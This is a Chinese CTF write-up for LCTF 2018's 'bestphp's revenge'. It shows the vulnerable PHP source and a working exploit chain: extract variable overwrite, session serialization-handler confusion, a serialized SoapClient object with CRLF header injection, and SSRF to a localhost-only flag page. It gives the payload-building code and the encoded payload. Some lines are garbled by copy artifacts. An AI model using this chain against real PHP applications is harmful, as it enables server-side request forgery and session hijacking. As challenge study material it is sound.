bestphp’s revenge
知识点
php session反序列化
解题
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST); //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];
} //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
//reset($_session)将数组的内部指针指向第一个单元,返回第一个session的值
call_user_func($b, $a);
?>
array(0) { }//flag.php (扫目录扫到的)
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$_SESSION['flag'] = $flag;}
only localhost can get flag!
构造:
<?php
//$url = "http://127.0.0.1/flag.php";
//$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
//$a = serialize($b);
//$a = str_replace('^^', "\r\n", $a);
//echo "|" . urlencode($a);
//$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array('location' => $target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车'uri' => "http://127.0.0.1/"));$se = serialize($b);
echo "|" . urlencode($se);
得到:
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
[外链图片转存中…(img-MVOphdGZ-1734773759164)]
将其模式换为php_serialize,然后序列化传入name
第二步,改成默认php,然后触发soapclient中的__call魔术方法传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func( b , b, b,a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。
用到了变量覆盖把b改为了call_user_func,这样数组第一个就是类名,第二个是welcome方法不存在调用_call,然后传入name=SoapClient,这样
a = a r r a y ( r e s e t ( a = array(reset( a=array(reset(_SESSION), ‘welcome_to_the_lctf2018’);前面就是SoapClient值了
[外链图片转存中…(img-152LvvGX-1734773759165)]
最后把PHPSESSID换成,我们一开始代码中的123456即可
[外链图片转存中…(img-dFAuCzWq-1734773759166)]